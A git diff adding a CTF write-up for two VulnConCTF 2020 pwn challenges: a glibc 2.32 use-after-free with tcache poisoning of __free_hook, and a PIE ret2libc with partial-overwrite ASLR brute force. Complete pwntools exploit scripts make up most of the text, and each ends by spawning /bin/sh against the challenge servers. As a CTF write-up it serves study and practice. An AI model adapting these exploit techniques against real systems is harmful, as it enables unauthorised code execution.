|
| 1 | +# VulnConCTF 2020 |
| 2 | + |
| 3 | +I did some pwn for fun on Friday evening :^) |
| 4 | + |
| 5 | + |
| 6 | +## the good old time |
| 7 | +This is a very generic heap challenge, on glibc 2.32. |
| 8 | + |
| 9 | +We can add, edit, show, and delete. |
| 10 | + |
| 11 | +Deleting does not null out the pointer in the array, and showing just calls puts() on the chunk. |
| 12 | + |
| 13 | + |
| 14 | +To leak libc, we can free a chunk into unsorted bin. However the fwd and bk ended in a 0x00 so I added another chunk that was bigger to get the first chunk into the smallbin. Then, I just showed the chunk to leak libc. |
| 15 | + |
| 16 | + |
| 17 | +To write to free hook, we can simply tcache poison. In glibc 2.32, tcache pointer mangling was introduced, meaning we have to do a bit more than just edit the fwd of a free chunk in tcache. I googled a bit and found a script that can both encode and decode mangled pointers. Very cool. |
| 18 | + |
| 19 | +```python |
| 20 | +from pwn import * |
| 21 | + |
| 22 | +e = ELF("./thegoodoldtime") |
| 23 | +libc = ELF("./libc.so.6") |
| 24 | +ld = ELF("./ld-2.32.so") |
| 25 | + |
| 26 | +context.binary = e |
| 27 | +context.terminal = ["konsole", "-e"] |
| 28 | + |
| 29 | +p = process([e.path]) |
| 30 | +p = remote("35.246.22.179", 49155) |
| 31 | + |
| 32 | +context.log_level="debug" |
| 33 | +gdb.attach(p, """c""") |
| 34 | + |
| 35 | + |
| 36 | +def new(idx, size, data): |
| 37 | + p.sendlineafter("exit\n", "1") |
| 38 | + p.sendlineafter(":", str(idx)) |
| 39 | + p.sendlineafter(":", str(size)) |
| 40 | + p.sendlineafter(":", data) |
| 41 | + |
| 42 | +def edit(idx, data): |
| 43 | + p.sendlineafter("exit\n", "2") |
| 44 | + p.sendlineafter(":", str(idx)) |
| 45 | + p.sendlineafter(":", data) |
| 46 | + |
| 47 | +def show(idx): |
| 48 | + p.sendlineafter("exit\n", "3") |
| 49 | + p.sendlineafter(":", str(idx)) |
| 50 | + |
| 51 | + |
| 52 | +def delete(idx): |
| 53 | + p.sendlineafter("exit\n", "4") |
| 54 | + p.sendlineafter(":", str(idx)) |
| 55 | + |
| 56 | + |
| 57 | +# uwu https://github.com/mdulin2/mangle/blob/master/mangle.py |
| 58 | + |
| 59 | +# Mangle the ptr |
| 60 | +def encode_ptr(fd_ptr, storage_location, print_hex=False): |
| 61 | + if(print_hex): |
| 62 | + return hex((storage_location >> 12) ^ fd_ptr) |
| 63 | + return (storage_location >> 12) ^ fd_ptr |
| 64 | + |
| 65 | + |
| 66 | +# Demangle the ptr |
| 67 | +def decode_ptr(mangled_ptr,storage_location, print_hex=False): |
| 68 | + if(print_hex): |
| 69 | + return hex((storage_location >> 12) ^ mangled_ptr) |
| 70 | + return (storage_location >> 12) ^ mangled_ptr |
| 71 | + |
| 72 | + |
| 73 | + |
| 74 | +# this thing is op |
| 75 | +def recover_ptrs(mangled_ptr, loc_final_bits=0x0, print_hex=False): |
| 76 | + |
| 77 | + count = 0x0 |
| 78 | + tmp_value = mangled_ptr |
| 79 | + while(tmp_value & 0xFFFFFF000 != 0x0): |
| 80 | + tmp_value = tmp_value >> 4 |
| 81 | + count +=1 |
| 82 | + |
| 83 | + # Get the top-most 12 bits to initialize the process |
| 84 | + initial = mangled_ptr & (0xFFF * (0x10 ** count)) |
| 85 | + final_ptr = initial |
| 86 | + final_location = initial |
| 87 | + known_bits = initial >> (count * 4) |
| 88 | + |
| 89 | + for iteration in range(1, (count/3) + 1): |
| 90 | + |
| 91 | + exp_amount = (count - (3 * iteration)) |
| 92 | + shift_amount = (count - (3 * iteration)) * 4 |
| 93 | + |
| 94 | + # Get the 12 bits to the right of the top-most 12 bits of the value. |
| 95 | + tmp_value = mangled_ptr & (0xFFF * (0x10 ** exp_amount)) |
| 96 | + |
| 97 | + # Shift the values over. Then, operate on them. |
| 98 | + |
| 99 | + ptr_shift = tmp_value >> shift_amount |
| 100 | + |
| 101 | + # Operate on the bits in order to get the ptr bits at the specific location. |
| 102 | + known_bits = ptr_shift ^ known_bits |
| 103 | + |
| 104 | + # Add the new known_bits to the total for the final_ptr |
| 105 | + new_bits = known_bits << shift_amount |
| 106 | + |
| 107 | + # The 'known_bits' are the location in which the ptr was stored at that we are getting. |
| 108 | + final_ptr = final_ptr + new_bits |
| 109 | + |
| 110 | + |
| 111 | + # The least significant twelve bits are unknown for the storage location. So, we remove them. |
| 112 | + final_location = final_location & 0xFFFFFFFFFFFFF000 |
| 113 | + |
| 114 | + # If the final bits of the location are given, we add them back in. |
| 115 | + if(loc_final_bits): |
| 116 | + final_location += (loc_final_bits & 0xFFF) |
| 117 | + |
| 118 | + if(print_hex): |
| 119 | + final_ptr = hex(final_ptr) |
| 120 | + final_location = hex(final_location) |
| 121 | + return final_ptr, final_location |
| 122 | + |
| 123 | + |
| 124 | +new(1, 0x550, "AAAA") |
| 125 | + |
| 126 | + |
| 127 | +new(2, 0x50, "BBBB") |
| 128 | + |
| 129 | + |
| 130 | +new(3, 0x50, "BBBB") |
| 131 | + |
| 132 | + |
| 133 | +delete(1) |
| 134 | + |
| 135 | + |
| 136 | + |
| 137 | +show(1) |
| 138 | + |
| 139 | +delete(2) |
| 140 | +delete(3) |
| 141 | + |
| 142 | + |
| 143 | + |
| 144 | +new(4, 0x700, "CCCC") |
| 145 | + |
| 146 | +show(1) |
| 147 | + |
| 148 | + |
| 149 | +p.recv() |
| 150 | +libc.address = u64((p.recv(6)).ljust(8, "\x00")) - 0x1e4040 |
| 151 | + |
| 152 | +print("libc base", hex(libc.address)) |
| 153 | + |
| 154 | + |
| 155 | + |
| 156 | + |
| 157 | +show(3) |
| 158 | +p.recv() |
| 159 | + |
| 160 | + |
| 161 | +mangled_fwd = u64((p.recv(6)).ljust(8, "\x00")) |
| 162 | + |
| 163 | +print("mangled fwd", hex(mangled_fwd)) |
| 164 | + |
| 165 | +thing, _ = recover_ptrs(mangled_fwd) |
| 166 | + |
| 167 | +tcache = thing - 0x810 |
| 168 | + |
| 169 | +print("tcache at", hex(tcache)) |
| 170 | + |
| 171 | +edit(3, p64(encode_ptr(libc.sym["__free_hook"], tcache))) |
| 172 | + |
| 173 | + |
| 174 | +new(5, 0x50, "AAAA") |
| 175 | +new(6, 0x50, p64(libc.sym["system"])) |
| 176 | + |
| 177 | + |
| 178 | +new(7, 0x20, "/bin/sh") |
| 179 | +delete(7) |
| 180 | + |
| 181 | +p.interactive() |
| 182 | +``` |
| 183 | + |
| 184 | + |
| 185 | +## Wheretogo |
| 186 | + |
| 187 | +This is a classic ret2libc, but there is PIE enabled. Thankfully, there is a function that prints the address of main. We can brute force 1 nibble of ASLR by partially overwriting the return address on the stack to jump to the function. Annoyingly the binary calls write() not puts(), so we have to look around for some different gadgets to set up the registers to leak the libc. Then it is just ret2libc. |
| 188 | + |
| 189 | +```python |
| 190 | +from pwn import * |
| 191 | + |
| 192 | +e = ELF("./where_to_go") |
| 193 | + |
| 194 | +libc = ELF("./libc.so.6") |
| 195 | + |
| 196 | +context.binary = e |
| 197 | +context.terminal = ["konsole", "-e"] |
| 198 | + |
| 199 | + |
| 200 | +while True: |
| 201 | + #p = process([e.path]) |
| 202 | + p = remote("35.232.11.215", 49155) |
| 203 | + |
| 204 | + |
| 205 | + context.log_level="debug" |
| 206 | + # |
| 207 | + |
| 208 | + |
| 209 | + p.sendafter("!", "A"*40+"\x99\x48") |
| 210 | + |
| 211 | + try: |
| 212 | + p.recvline() |
| 213 | + main = u64(p.recv(6).ljust(8, "\x00")) |
| 214 | + break |
| 215 | + except EOFError: |
| 216 | + p.close() |
| 217 | + continue |
| 218 | + |
| 219 | + |
| 220 | + |
| 221 | +pie = main-0x7da |
| 222 | + |
| 223 | +print("main", hex(main)) |
| 224 | +print("pie base", hex(pie)) |
| 225 | + |
| 226 | +gdb.attach(p, """break * system\nc""") |
| 227 | + |
| 228 | + |
| 229 | + |
| 230 | + |
| 231 | +p.sendafter("!", "A"*40 + p64(pie+0x943) + p64(1) + p64(pie+0x941) + p64(pie + e.got["__libc_start_main"]) + p64(0) + p64(pie+e.plt["write"]) + p64(main)) |
| 232 | + |
| 233 | +p.recvline() |
| 234 | + |
| 235 | +libc.address = u64(p.recv(6).ljust(8, "\x00")) - 0x21b10 |
| 236 | + |
| 237 | +print("libc base", hex(libc.address)) |
| 238 | + |
| 239 | + |
| 240 | + |
| 241 | +p.sendafter("!", "A"*40 + p64(pie+0x943) + p64(next(libc.search("/bin/sh"))) + p64(pie+0x666) + p64(libc.sym["system"])) |
| 242 | + |
| 243 | + |
| 244 | + |
| 245 | +p.interactive() |
| 246 | +``` |
0 commit comments